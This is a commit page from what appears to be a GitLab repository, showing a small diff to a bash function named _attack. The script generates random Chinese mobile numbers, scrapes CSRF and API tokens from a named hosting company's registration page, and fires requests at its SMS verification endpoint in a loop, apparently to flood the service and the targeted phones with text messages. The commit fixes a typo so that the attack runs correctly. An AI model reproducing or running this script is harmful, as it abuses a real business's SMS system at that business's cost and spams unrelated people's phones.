Commit 1bde2ddf authored by nanahira's avatar nanahira

fix

parent b952cfe1
Pipeline #2922 passed with stages
in 1 minute and 53 seconds
......@@ -4,11 +4,11 @@ _attack() {
attackCount=$((attackCount + 1))
mobile=13$((RANDOM % 9000 + 1000))$((RANDOM % 90000 + 10000))
echo "Attack $attackCount to $mobile"
whmcs_cookie=g$RANODM
whmcs_cookie=$RANDOM
webContent=$(curl -sL --connect-timeout 30 -H "Cookie: WHMCSy551iLvnhYt7=$whmcs_cookie" 'https://www.coalcloud.net/register.php')
token=$(echo "$webContent" | grep -oP '<input type="hidden" name="token" value="[a-z0-9]+" />' | sed 's/<input type="hidden" name="token" value="//g;s/" \/>//g')
apitoken=$(echo "$webContent" | grep -oP '<input type="hidden" name="apitoken" value="[A-Za-z0-9]+"/>' | sed 's/<input type="hidden" name="apitoken" value="//g;s/"\/>//g')
echo "$token $apitoken"
echo "$token $apitoken $whmcs_cookie"
curl -sL --connect-timeout 30 -H "Cookie: WHMCSy551iLvnhYt7=$whmcs_cookie" -X POST 'https://www.coalcloud.net/modules/addons/SMS_Verification/action.php?action=send' -d "phone=$mobile" -d "token=$token" -d "apitoken=$apitoken" | jq
}
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment